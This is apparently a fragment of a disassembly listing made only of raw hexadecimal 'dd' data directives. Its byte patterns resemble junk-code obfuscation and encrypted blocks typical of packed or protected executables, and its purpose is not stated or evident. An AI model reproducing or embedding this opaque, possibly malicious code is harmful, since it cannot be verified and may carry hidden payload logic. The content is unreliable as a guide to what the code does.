		dd 0CA1C5D46h, 0CE80FA8h, 0B9000000h, 0BF82E93Eh, 0B665E7FAh
		dd 1508EBFh, 0E93201BDh, 0B5FF5805h, 5E9326Dh, 1F81BD29h
		dd 95FF05E9h, 5E90BC5h,	6AB9E480h, 9595FF00h, 8B05E91Eh
		dd 0B049EBC0h, 8E10E6B1h, 64512523h, 0EA3FD063h, 3D60047Dh
		dd 0ADB5CF59h, 9FF160E8h, 0ED20A56Eh, 9F26BD7Dh, 0FAEE3C0Dh
		dd 0B00ABAA0h, 5FC2F8E0h, 0FD135090h, 270D2085h, 6C59C8B8h
		dd 0E7031C64h, 223DDD4h, 0C30E0EF3h, 0EC9A8FA7h, 0FE8h
		dd 37C2E000h, 0D1365C61h, 14A78241h, 0E7C3CE68h, 85BD3360h
		dd 8B05E90Dh, 0E906818Dh, 895E6105h, 0E9078985h, 0B3C68105h
		dd 300006Eh, 0E905F195h, 8BDB2B05h, 0E921C98Dh,	1E048B05h
		dd 0BDF081FCh, 8B578D13h, 0E92B998Dh, 38F08105h, 0E818C068h
		dd 0Bh,	0C33BCE10h, 924C5302h, 0E928011Eh, 0Ch,	938D3DACh
		dd 1E60CF5Eh, 0CEFEBE07h, 6CE88159h, 0E905798Dh, 0Ch, 5E5E00CCh
		dd 50218AACh, 0D2F9981Ah, 531E0489h, 2E7D9D89h,	8A5905E9h
		dd 6EB81D0h, 663B3F9Dh,	81C7B3BFh, 3F9D02C3h, 0C981663Bh
		dd 0FB81F41Ch, 0FFFF9220h, 0F850Fh, 0BF0F0000h,	1AE9CAh
		dd 23E60000h, 0D89CAA3Dh, 0ACB966F3h, 0FF6BE96Fh, 8100FFFFh
		dd 0BF4DB9C4h, 2A726C9Fh, 13E8h, 2D339400h, 0D201E894h
		dd 6AEB93C8h, 0A04C69C2h, 30C3F1DCh, 0FE9h, 7BFAAB00h
		dd 0C10EDCE7h, 24ABDCF2h, 12CFA0D5h, 8DBD8B58h,	8105E924h
		dd 5C55C0h, 6800h, 958B0000h, 5E90035h,	34FFF95Bh, 7FE68103h
		dd 594F4375h, 395FF181h, 0BD896A3Bh, 5E929FDh, 51A7F181h
		dd 3601EDCh, 0E90DB18Dh, 6860F05h, 8B000000h, 0E92DBD8Dh
		dd 0E9816105h, 1E3EA56Bh, 26D5B589h, 805105E9h,	48F9FD2h
		dd 5E9F818h, 64000000h,	0F3806E40h, 6602EB83h, 4BCBF3BFh
		dd 0BD7BA4Bh, 0FB812C91h, 0FFFFA454h, 0FF98850Fh, 0BA66FFFFh
		dd 8D8D4547h, 5EF8914h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 8AC35242h, 8D892073h,	5E92655h, 7D1FCB81h
		dd 85C76B74h, 5E90805h,	71D8h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 4FC35242h, 2BE86E38h, 858B5F72h
		dd 5E92841h, 163D85C7h,	5E9h, 8B660000h, 958B57D0h, 5E90CE1h
		dd 1DB5FF5Ah, 6A05E932h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0BE4AC356h,	8B8F354Bh
		dd 0C595FFD0h, 6A05E90Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 2B3FC351h, 223265ABh
		dd 6A8EDFh, 1E9595FFh, 0C08B05E9h, 28E00EEBh, 24473513h
		dd 0AC1632B1h, 6C9B5602h, 9E8h,	0D224800h, 605A03A1h, 0BD2B3933h
		dd 5E92335h, 0B7E3BA58h, 0C0816257h, 71CFh, 3BBBFA8Bh
		dd 816C03EAh, 3CDF7EBh,	8B66606Ch, 61BD89C2h, 6105E911h
		dd 0D38B088Bh, 8F1FC181h, 0BF0F618Ah, 0CDE981F7h, 0F012AFBh
		dd 684h, 81BD8B00h, 8105E904h, 0E60686C1h, 0BD895659h
		dd 5E90AD5h, 8908895Fh,	0E90F2D9Dh, 1E88305h, 0BE8h, 3244900h
		dd 0A3CDEAAFh, 358B5E0h, 0A52C4EBFh, 48485F57h,	159D0148h
		dd 4B05E92Ch, 0C850Fh, 0B8B60000h, 2BE9h, 4F06B100h, 12E86DEAh
		dd 89000000h, 0AE9BC86Ah, 0A68E000h, 716068C6h,	0B0586CADh
		dd 0EABF660Eh, 75E95E68h, 6FFFFFFh, 73D3B8F8h, 0EE8h, 3055A700h
		dd 74F61393h, 5E5C89F7h, 89408742h, 0E90EA18Dh,	0C6815E05h
		dd 5A52h, 85895657h, 5E9090Dh, 0C9335F5Ah, 2B71B589h, 34FF05E9h
		dd 59950B31h, 5B05E92Dh, 0F3817BB0h, 0B5D1DCh, 25BD958Bh
		dd 0EB8105E9h, 5869602Dh, 9E8h,	3E671400h, 0E39B2B8Fh
		dd 9503726Fh, 5E923D1h,	0B7F3815Ah, 291BDC17h, 0E927859Dh
		dd 0BD895305h, 5E92ABDh, 0B80E048Fh, 3D2CF7E0h,	2E26BF66h
		dd 0BF03E983h, 7C7AA0A8h, 0F981F849h, 0FFFFA644h, 0FF98850Fh
		dd 0D1B8FFFFh, 8255946Ch, 889A075h, 0DC781469h,	4C8F8DA6h
		dd 2E8635CCh, 908635A1h, 4818D925h, 99053025h, 176F1A94h
		dd 98023F25h, 7863025h,	0AB8BC598h, 0A5893020h,	908630A1h
		dd 4663B5E3h, 0CCC835CCh, 12863021h, 0A1C4E765h, 0A0C2BB75h
		dd 0CB86BB21h, 79821461h, 0BA3785DAh, 0CD0B35CCh, 216A4A4Ah
		dd 0E20DE0DAh, 763B5E3h, 6CC835CCh, 42863021h, 89C4E765h
		dd 0B4C2BB75h, 0C186BB21h, 7C821461h, 1F7385DAh, 8C0B35CCh
		dd 816A4A4Ah, 0BA0DE0DAh, 2186209Ch, 908ED925h,	47203025h
		dd 24863EA0h, 0DB8D7925h, 0F676B52Ah, 896FCFDAh, 0CF863025h
		dd 0C8C85DB8h, 90838820h, 0AB793025h, 0AE088DA8h, 9F0B35CAh
		dd 0C69BB78h, 0B4A3229Dh, 82491BA3h, 889A075h, 0DC781469h
		dd 4C8F8DA6h, 2E8635CCh, 908635A1h, 4818D925h, 99053025h
		dd 0E9831A94h, 0B9A4F305h, 22h,	14E8h, 9509A000h, 5257994Ah
		dd 8945F780h, 0CA93B992h, 36C690C5h, 81F55B8Bh,	66ACC3h
		dd 0F98B6600h, 198868h,	0FB8B6600h, 198D8B5Eh, 8B05E928h
		dd 0AE913h, 0B5FA0000h,	898F6C6Ah, 0C79601C4h, 5AFDF281h
		dd 8B6603BFh, 66F281C2h, 8B5D6776h, 0E9322185h,	0A6EA8105h
		dd 891DFA0Dh, 0E932C9BDh, 8B138905h, 4EB83C7h, 12E8h, 0FDF02C00h
		dd 0FEF42E14h, 9AD4FE24h, 29ACD3C3h, 0B932FDEEh, 43C0C94Eh
		dd 1EE8358h, 0FFA1850Fh, 8B66FFFFh, 0F704EBC6h,	0E9046B7Eh
		dd 896h, 1B385F9Fh, 0ADCAF935h,	3E5B8AC7h, 0CDEA1D58h
		dd 617EA9E7h, 0EF2D855Dh, 80C1A7C4h, 17563C59h,	0AFE9CFECh
		dd 0B1925F7Ch, 26964303h, 14F24B13h, 0C91AD5EEh, 0C6F32D16h
		dd 612B598Ch, 51A9E2FFh, 8F903EE1h, 8F1C3216h, 0E927EB19h
		dd 81BBA1BEh, 97D1AB4Eh, 4B0FC764h, 0C3BDE11h, 0A9DF328Eh
		dd 9E56F3BEh, 7E264FAEh, 3F6E1144h, 0AE32E09Bh,	0D7126E0Ah
		dd 336007A4h, 0DE226412h, 36AC1320h, 1316BA99h,	780A4526h
		dd 0D0000000h, 3960A17Bh, 0D90C470Bh, 0B6F4DA77h, 5B995D8Bh
		dd 0BE6C8D30h, 16C91AF8h, 0DDA14F06h, 0E116C91Ah, 0B46C096Bh
		dd 941065C4h, 2F0E2B56h, 40CFD361h, 427Fh, 84C24500h, 0AE932B59h
		dd 0D416C91Ah, 763A6897h, 68E00E35h, 0C7425C19h, 1536274Eh
		dd 0C91A2767h, 3867A316h, 72E8400Ah, 86B1EFD5h,	65E0B4E3h
		dd 17E72055h, 0FC0951Ah, 7F1C877Eh, 3DFAD8h, 7B3A0000h
		dd 0A343424Ch, 0EE8BE5E9h, 0FC9FCA08h, 55692DDBh, 5F1C16C9h
		dd 3E98AE5Bh, 15B22880h, 6283C55Dh, 4F16C9h, 0C6F12F75h
		dd 12540223h, 9C16C962h, 824F8BD7h, 0F55779B9h,	6F83B158h
		dd 0F6B86617h, 0F816C91Ah, 0CF7D2082h, 1C31F34Ah, 642856CCh
		dd 0F5DBF827h, 505B89B8h, 3C3D812Fh, 7EBD1320h,	35B2553h
		dd 5FB7F08Dh, 5491B6F5h, 0CB2DF725h, 0CE71D39Dh, 3CBFFFADh
		dd 0C93F1320h, 2851FF2Ch, 6E19DB35h, 6FE6CAF8h,	32619E06h
		dd 0C3F22F15h, 0D51FF20h, 9116C93Bh, 2EC67E1Bh,	16C93B78h
		dd 79DD875h, 3366A1CAh,	0BCD93B05h, 64196F8Eh, 0C91AF0B6h
		dd 90BBFA16h, 0BC60C238h, 3366A17Bh, 0C2D2DE96h, 7BB15588h
		dd 83665A1h, 0CDFAA13Eh, 0ED8AB5F3h, 0CB17C9BFh, 3F2943CFh
		dd 0EF000000h, 0B664196Fh, 16C91AF0h, 822688FEh
		dd 1A89CD7Bh, 501516C9h, 5F6A6883h, 38DB3D70h, 1AF235Eh
		dd 16C9B7BDh, 0B869CB41h, 0D0231EAAh, 0E715B298h, 85C2597Bh
		dd 379DB256h, 69CAh, 196F0A00h,	0D1954364h, 0DD16C91Ah
		dd 1A773767h, 17716C9h,	65918850h, 0CD2F2349h, 0DA90FB2Ah
		dd 0ECAB2EB3h, 5A7B214Fh, 1ACB8B39h, 0ED316C9h,	11F57694h
		dd 0B915771Eh, 0FAB45178h, 16C982B4h, 0AAD915EFh, 1ABE220Dh
		dd 0A17B597Bh, 9EDD3960h, 0B3F0D673h, 1AD19543h, 9ED916C9h
		dd 944E136Bh, 695775E7h, 0CD71D335h, 88C2379Dh,	0ED1C2755h
		dd 0AB594CFCh, 16C99CEBh, 24CC7DF3h, 1BB584Ah, 16CC158Fh
		dd 4A136285h, 66033670h, 70134680h, 5A748B41h, 0B956A206h
		dd 0C3EE2C12h, 76DBF120h, 9EA4B16Ah, 0CD7BAEF0h, 58BA3016h
		dd 6A52D3A7h, 8B287048h, 0A6D10FD3h, 4A75B478h,	0EB1E581Ch
		dd 76ECDBDh, 0C5B00F97h, 3E7CA1DFh, 4AACDF19h, 24ECCBE8h
		dd 3C40CB12h, 55h, 0BCEF2903h, 0F927C48Eh, 275588C2h, 5907B810h
		dd 16C91A15h, 0C1E82999h, 2AB7AE5Fh, 13177516h,	13600EB1h
		dd 931C3238h, 0C6E1EF1Dh, 5AEB697h, 0E4AA1153h,	0C9E39486h
		dd 0D90EAB8Ah, 9BCE089Ch, 0B4C4C9F8h, 24CC4623h, 92B3E087h
		dd 2053A2E4h, 19B62C13h, 5588C2EBh, 48B81027h, 1B42F7A5h
		dd 1E941C32h, 0EAAC5A7Bh, 0F4132015h, 692DDB7Eh, 75132015h
		dd 8DBB62FFh, 1A5196Fh,	0CF0BE5F0h, 0BA872A0h, 5588C2DDh
		dd 0FAD401B1h, 0C3F18EBDh, 0CFCB17C9h, 20EE1D43h, 0F2215E8Fh
		dd 4E763041h, 0ED8AB1F2h, 45CCh, 196F9200h, 1AF0B664h
		dd 8EFE16C9h, 62C4264Dh, 89CD7BBEh, 1516C91Ah, 597BFB9Fh
		dd 0B25685C2h, 6917389Dh, 16C91A25h, 689633A9h,	4ECAh
		dd 3CEA0B00h, 16C91A7Ah, 0BA124580h, 0F2015BF5h, 0C022F462h
		dd 196FF523h, 0EC2802A5h, 69C58FBDh, 3260FD2Ch,	42805A7Bh
		dd 821FE917h, 0C91A86C8h, 0F89BFF16h, 14B1E41Eh, 0C2597BE6h
		dd 9DB25685h, 0CA910938h, 37154BF0h, 0D49ECCFBh, 0C2A7D572h
		dd 8F275588h, 16CC99FDh, 0A9D70241h, 4A78ABE5h,	247AFB5Ah
		dd 8A1A5B7Eh, 0D3001D50h, 5D8BBEF9h, 0D210F693h, 77B579A7h
		dd 1E5A1E4Ch, 0BEFDC1EFh, 9EED6593h, 0E03FC7D7h, 0A6D10F95h
		dd 0BBEE2903h, 7F26C38Dh, 0CB56F0A0h, 0C90AE440h, 0DA0946A2h
		dd 391C3Dh, 0C2E20000h,	0D8B25588h, 77416F9Ah, 3D1722DAh
		dd 0FA33D003h, 0E18F32A2h, 1C321ED8h, 0B5F9A75Eh, 39132016h
		dd 62DB12C3h, 8A1682Ah,	476A78A6h, 17552F2Eh, 2F694FECh
		dd 7BB1DFFCh, 0B3960A1h, 84BEA441h, 1A1C6210h, 2CA216C9h
		dd 55F827CAh, 0D3FE3D2Eh, 0FE671E22h, 3A92A961h, 376594D0h
		dd 0D8063973h, 0E1FBAC0Eh, 0C46405h, 0F5A346A8h, 1C326328h
		dd 0F52340B6h, 1A5196Fh, 0A17BE4F0h, 0B49A3762h, 1A3477Ah
		dd 1E82A5D4h, 0B43AE619h, 17C9E917h, 2943CFCBh,	2Fh, 0A5196FEFh
		dd 65A17B01h, 0A13E0836h, 1A80C674h, 0E9C316C9h, 854F7DACh
		dd 0EC9006E8h, 85C2597Bh, 389DB256h, 57F41F5Eh,	3DCA29h
		dd 6F0A0000h, 7B01A519h, 0C91A89CDh, 5A80C16h, 91BFEE2Bh
		dd 22D6BC7h, 3F6D0AD4h,	2F424C7Bh, 41AAA3A3h, 7EAEF09Eh
		dd 0BA3016C9h, 0C2CEF01Dh, 7BB25685h, 0DC3863A1h, 7C46749Bh
		dd 0C26ED4DFh, 0D8B25588h, 753F6D9Ch, 3B1520D8h, 0DBA5D3FAh
		dd 1AC48A38h, 54CA16C9h, 998BFDB7h, 5E8116CCh, 20538D17h
		dd 3E67A37Dh, 0DCA6D4FFh, 936DD7Ah, 99C7EE2Fh, 124C32CFh
		dd 0CCA6B1DFh, 3373218Dh, 0BB16CD9Bh, 4887E345h, 0EF47801Dh
		dd 0E1BBDC7Fh, 814B79A0h, 9CC12AE4h, 9F151C36h,	68265582h
		dd 2A1C183h, 6FF422BFh,	7B01A519h, 1AEAAC5Ah, 369B16C9h
		dd 43739588h, 0AE4BC119h, 1CCAEBF6h, 16C9675Ah,	2351EE64h
		dd 3366A17Bh, 4376B096h, 0C9D3019Fh, 43CFCB17h,	22FFEE1Dh
		dd 0F8524A4Eh, 8E2B8DBCh, 1C6Dh, 196F3300h, 0CD7B01A5h
		dd 16C91A89h, 7BFB9F15h, 5685C259h, 0CA379DB2h,	2Eh, 0A5196F0Ah
		dd 0BFEA2802h, 648FCD91h, 6D0A6C36h, 89CD7B3Fh,	0C16C91Ah
		dd 597B04A8h, 0B25685C2h, 3A67A17Bh, 0D49ECCFFh, 0DD7A4472h
		dd 4C7B6CD2h, 7A648E81h, 0E7691A71h, 2F344682h,	97D1B754h
		dd 0EA9E3664h, 0E216CCF1h, 0B4EEB6BFh, 0C504DE81h, 0FFA26C9Ah
		dd 0CDF30D51h, 7E1B9116h, 84B7F1D7h, 77E73F56h,	4105B3D4h
		dd 4D16CDF3h, 0E417BD7h, 4C7916E0h, 36C1E59Eh, 8EAB211Ch
		dd 0A5196F60h, 0C2E4F001h, 0C7740688h, 218D7BC5h, 0D4011BBFh
		dd 31029AA5h, 6F0C1F0Eh, 0CB17C941h, 482943CFh,	0EF000000h
		dd 2A5196Fh, 90BEE928h,	315F92CCh, 3A680567h, 3467A17Bh
		dd 0D8034206h, 0E17EE0AAh, 1A4006B4h, 0DE4E16C9h, 3D48769Dh
		dd 0C91ACF8Fh, 0F759CF16h, 9ADA4346h, 79DBF73Dh, 0C2597BD5h
		dd 9DB25685h, 32CA37h, 6F0A0000h, 7B01A519h, 0C91A89CDh
		dd 0B9670C16h, 16C91AF5h, 5F8DB4F5h, 65C73D95h,	7B597BC1h
		dd 1AEAAC5Ah, 7EF416C9h, 8FBEFBE1h, 62A17BEBh, 298F9A37h
		dd 87224C7Bh, 0BDEB1E58h, 0F51342F3h, 74AE9431h, 0A4FC1341h
		dd 4F709134h, 0C934DDA1h, 217A8816h, 47D305D3h,	22DC79EFh
		dd 1C327451h, 89C2DF55h, 701EC131h, 19DAC234h, 0F1A48BEh
		dd 2AC7FA35h, 34D70A44h, 51EE1D5Ah, 578AC4AAh, 10C09129h
		dd 7D98184Ah, 20E8AE5Ch, 80F6174Bh, 0DDC7AEE3h,	6D5370A3h
		dd 0ED20033h, 23FDA0D3h, 0BE88B6E9h, 0E856921h,	0D0033D67h
		dd 6093CDB3h, 37632h, 0A1B60000h, 5B82C233h, 0FC2F692Dh
		dd 0A0CB0ACEh, 466DAE72h, 0EB165418h, 90BBF9BDh, 30639E62h
		dd 0D2013E02h, 75A4E0A4h, 89568647h, 4C681E6h, 83000000h
		dd 348704EEh, 2C895C24h, 52E46824h, 0C890000h, 0E1895124h
		dd 4C181h, 0E9830000h, 240C8704h, 2404895Ch, 397F6855h
		dd 0D15D6527h, 25C581E5h, 893BA119h, 242C8BE9h,	4C481h
		dd 8B540000h, 0C4812404h, 4, 79D268h, 240C8900h, 8B08408Fh
		dd 89562404h, 4C681E6h,	81000000h, 4C6h, 24348700h, 2434FF5Ch
		dd 4C48359h, 0F9EB4AE9h, 0F34E59FFh, 4877047Ah,	0CA72ACFh
		dd 2DB8763Fh, 305EF94h,	37E0FFC5h, 1D5D6DF4h, 2A7B7863h
		dd 0AD732F5Ah, 575F44DAh, 6610F77h, 523A1D8h, 8A320C8Eh
		dd 804AFEA2h, 8D56BB17h, 0EF95D28Dh, 53006A05h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 506430B0h
		dd 0F87EBE87h, 4CCA8040h, 26558D89h, 0C7F805E9h, 0E9080585h
		dd 6F9805h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 9C156A14h, 6830044Dh, 0C7F5543Ah
		dd 0E9163D85h, 5, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 546E8CF6h, 1CEEC6F8h
		dd 0FFFBB70Fh, 0E92839B5h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0A5BE9C90h
		dd 0EE8h, 0B30C7B00h, 0B35A4CFBh, 27622DE9h, 0FD12F87h
		dd 685h, 21858900h, 5B05E92Bh, 0BC595FFh, 850B05E9h, 5E926F9h
		dd 95FF006Ah, 5E91E95h,	7CEBC08Bh, 0A911ABD7h, 4687E86Ah
		dd 2CDC8D5Ch, 0C83AA411h, 562B9CCBh, 5F3EB7D2h,	0B5B9AFCh
		dd 5B981C6Bh, 6213BFB1h, 1EB9A71Dh, 4A02587Eh, 8BDD6C00h
		dd 0AF0E626Ah, 1EC0128Fh, 86EC89E7h
		dd 10B81F42h, 7CC1F0A0h, 0F5561425h, 0F8051CE6h, 6E0BEB1h
		dd 254FC7C8h, 0A87921C5h, 0ED976B14h, 6D8D9DAh,	6FF40570h
		dd 738149FDh, 4D5212E1h, 74FF946Ah, 9A7C204Eh, 0F737F8DBh
		dd 6B01B372h, 11E8h, 0F3FC0600h, 146CE9C0h, 0A2F06B9Fh
		dd 8649A834h, 0B6B044C5h, 6860F5Eh, 23000000h, 0E92AC98Dh
		dd 35C68105h, 0B600005Ah, 0A4F6BF47h, 0F781098Dh, 98DB2A9h
		dd 36FFCF8Bh, 0AE9h, 0F5974300h, 944B4F6Dh, 5B0A6DBEh
		dd 3598D31h, 0EB8105E9h, 0C73D563h, 1E658D8Bh, 0F38105E9h
		dd 4961DF5Dh, 19B58501h, 0C38105E9h, 11D5E7D7h,	89C28B66h
		dd 0ED8D011Eh, 8105E90Dh, 9875DBEEh, 3C2814Bh, 8163B8EAh
		dd 9875D7C6h, 8B66604Bh, 4F61F9F2h, 14850Fh, 85B80000h
		dd 0E94BCF52h, 1Eh, 31A16BFEh, 34B337D4h, 8E0F697Bh, 3
		dd 0E9CFB70Fh, 0FFFFFF7Eh, 3334212h, 8D8DEE2Ch,	5EF97B6h
		dd 502EE081h, 8D892BE2h, 5E92655h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0B8C35646h,	0E8C593E2h, 12h
		dd 0E4EA94D7h, 0BFCFE7Ch, 3A4243BAh, 0FCD598C6h, 8B66A1A8h
		dd 81665FFEh, 0C7BCC9EBh, 0E9080585h, 5EA005h, 96D28100h
		dd 0C771DC2Fh, 0E9163D85h, 5, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0BDB5FFDFh
		dd 0F505E904h, 0BC595FFh, 858905E9h, 5E90561h, 95FF006Ah
		dd 5E91E95h, 69EBC08Bh,	351CF66Bh, 11E8C4AAh, 0ED2268C8h
		dd 253A3B77h, 0C7553C42h, 0AB34E372h, 11A0B9Ch,	0CCAD510Ch
		dd 8FB03FF6h, 0F1A3AC0Dh, 7E5B7F58h, 5D6F5473h,	2AC9250Bh
		dd 6BC9C491h, 840491EAh, 0FE47CFFBh, 0EC9E1995h, 84EC472Dh
		dd 3BBF49A3h, 91671DA2h, 307695Fh, 2AB32DA0h, 0F322BE63h
		dd 9101192Eh, 3D7FEAD1h, 0F61C49EEh, 0AE8CFh, 0B7590000h
		dd 0BB80666Fh, 758B56B2h, 5BF9B70Fh, 6765BF66h,	5BC6C381h
		dd 0AE80000h, 5D000000h, 2A605B39h, 80F677F2h, 0CBBE5FABh
		dd 0E9000016h, 0Ch, 20C1EC32h, 0E0CB8CE9h, 3509004Dh, 0DA81038Bh
		dd 13609184h, 251AE881h, 0FB8B42ABh, 7532E881h,	870F3999h
		dd 3, 81D18B66h, 0B9BE31E8h, 9E95Eh, 242E0000h,	6B0D1C6Eh
		dd 5050160Eh, 123D8D03h, 38F05E9h, 4850Fh, 0BF660000h
		dd 0EB83A9FBh, 9D895604h, 5E92A79h, 1EE835Fh, 0FFA6850Fh
		dd 0B531FFFFh, 5E9114Dh, 99A58D8Dh, 6A05EFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8B56C3h
		dd 5E92CFDh, 26558D89h,	9D8905E9h, 5E92759h, 0EE7C50BAh
		dd 585C746h, 9005E908h,	6A000059h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 6D81C351h
		dd 0B80C1223h, 11496DF7h, 30CADB81h, 8D894A77h,	5E92EA9h
		dd 163D85C7h, 5E9h, 0AE80000h, 1C000000h, 8A5A4D42h, 701E336Fh
		dd 95015A0Dh, 5E930E5h,	3F5B5FFh, 0F28005E9h, 0C595FF82h
		dd 6A05E90Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0C8BCC356h, 8DD50B2Dh,	0E97889BBh
		dd 0Bh,	911DBCB1h, 961D0BD5h, 6A24502Bh, 9595FF00h, 8B05E91Eh
		dd 0A20DEBC0h, 0F8A7A677h, 0B4326F23h, 0B9C348CBh, 9AD08D8Dh
		dd 6A05EFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 3280A7C3h, 0F5214CFh, 682h, 0F9958900h, 5F05E904h
		dd 26558D89h, 9E905E9h,	0A0000000h, 5E0DE1B4h, 12156801h
		dd 173D9D89h, 85C705E9h, 5E90805h, 7250h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Bh, 0DDC35646h, 0D99A4A1Ch
		dd 0C7CB3C18h, 0E9163D85h, 5, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0A8E99B3h
		dd 10E90Ch, 0AE130000h,	3F062128h, 178F5A80h, 1291F050h
		dd 8166FF22h, 0FFA092EEh, 0E9326DB5h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 0F8BF0FC3h, 0BC595FFh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 5C8B6FC3h, 0DE80B640h
		dd 0E08166F7h, 6A5DFDh,	1E9595FFh, 0C08B05E9h, 49E549EBh
		dd 0F271A19h, 5BB442EDh, 0D82379Dh, 4F03D01h, 0D76BD4B5h
		dd 0B41C6792h, 87E3F30Dh, 48A94F9Bh, 96A85B41h,	0FAD9DC88h
		dd 64EC2771h, 8DD3329Ch, 6C969D9h, 68AF9117h, 21AF0083h
		dd 0EB95E0C3h, 99820BC4h, 0E824469Fh, 0Bh, 7CFC6952h, 0C0E93CD6h
		dd 0F64844Fh, 895FC0BFh, 0E9243995h, 51C78105h,	8B000065h
		dd 0E9077D85h, 192BB905h, 0BA660000h, 1F8B754Dh, 6558D89h
		dd 0F38105E9h, 14EE810Eh, 2571BD89h, 0C38105E9h, 22625CFFh
		dd 0EC381FCh, 607099D8h, 28B99D89h, 0BA6005E9h,	6E9AE113h
		dd 0C3B1BB66h, 1F896161h, 0B5E68166h, 1EF83DCh,	0AE8h
		dd 0E12B8D00h, 0BBCB65DAh, 8B3B535Fh, 0E92C1D85h, 4F4F5A05h
		dd 0C8BE534Fh, 5A202D7Bh, 1E981h, 850F0000h, 0FFFFFF96h
		dd 0AE8h, 0E1D66B00h, 595F011Fh, 0BA80C8B9h, 3D436A02h
		dd 908D8D5Eh, 6A05EF9Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 151BC350h, 1F519589h
		dd 8D8905E9h, 5E92655h,	80585C7h, 641405E9h, 0BD890000h
		dd 5E90D29h, 163D85C7h,	5E9h, 11E90000h, 0A1000000h, 10D1F7ACh
		dd 7B3C2883h, 0CD4E8B91h, 0BF1F1FBFh, 321DB5FFh, 6A05E9h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 91B0C1C3h, 0A1D80A52h, 0BC595FFh, 6A05E9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0F2D389C3h
		dd 34426D66h, 66609A88h, 8BBD42B9h, 0E92EA585h,	6A6105h
		dd 1E9595FFh, 0C08B05E9h, 0C3660EEBh, 0A705F5BFh, 0FEEAF651h
		dd 0FF7DE742h, 9D4C8D8Dh, 895105EFh, 0E9054195h, 8B665F05h
		dd 558D89D9h, 305E926h,	0E91D999Dh, 585C705h, 6405E908h
		dd 0F000073h, 583h, 0D6816600h,	85C70BF0h, 5E9163Dh, 0
		dd 13F28166h, 6850F2Ch,	29000000h, 0E902899Dh, 55B5FF05h
		dd 6A05E923h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0AAE5C352h, 0C595FFD4h, 6A05E90Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 2B52C357h, 0F62EA6FCh, 0F08B919h,	0BE66DEBFh
		dd 6A6A17h, 1E9595FFh, 0C08B05E9h, 2ACF5AEBh, 763F0CA7h
		dd 2E88482Ah, 0B1A956E0h, 5E67F41Dh, 0EF4A5B7Bh, 5CED99A0h
		dd 84D35BC2h, 0B4D13398h, 3BC974A0h, 0BD67A944h, 6B90E018h
		dd 53FC66A3h, 0B003F86h, 664EE9Eh, 7DA98A44h, 4D7E0D01h
		dd 0C208153Eh, 80BA764Fh, 4DCD444Fh, 0BD91B50Bh, 674C1612h
		dd 3CFD0866h, 0ABE9h, 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh
		dd 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh,	0F46BB291h
		dd 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h
		dd 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh
		dd 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah,	53F545F3h
		dd 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h
		dd 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh
		dd 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h
		dd 7293BCE1h, 97B3EDh, 0E7A601E8h, 83323D94h, 8F32139h
		dd 13FEE9h, 0A0716800h,	8CE905EFh, 68FFF9E1h, 5EFA199h
		dd 0F9E182E9h, 0A25368FFh, 78E905EFh, 68FFF9E1h, 5EFA392h
		dd 0F9E16EE9h, 0A43668FFh, 64E905EFh, 68FFF9E1h, 5EFA50Bh
		dd 0F9E15AE9h, 0A5CB68FFh, 50E905EFh, 68FFF9E1h, 5EFA699h
		dd 0F9E146E9h, 0A73C68FFh, 3CE905EFh, 68FFF9E1h, 5EFA893h
		dd 0F9E132E9h, 0A97368FFh, 28E905EFh, 68FFF9E1h, 5EFAB16h
		dd 0F9E11EE9h, 0ACC368FFh, 14E905EFh, 68FFF9E1h, 5EFAEF6h
		dd 0F9E10AE9h, 0AFEC68FFh, 0E905EFh, 0CCFFF9E1h, 6248658Ch
		dd 0F4DAF726h, 856B88B7h, 14FA174Ah, 8A8EABD6h,	0F9246258h
		dd 8EB5F6DCh, 214C8B71h, 0B1E41E04h, 38E6C794h,	13268476h
		dd 0C2411F78h, 63275588h, 5F8BA729h, 0F7E51922h, 0E73F7895h
		dd 0AD0F427Dh, 6DD35C0Ah, 0E1101C32h, 0F02D3749h, 18C993C1h
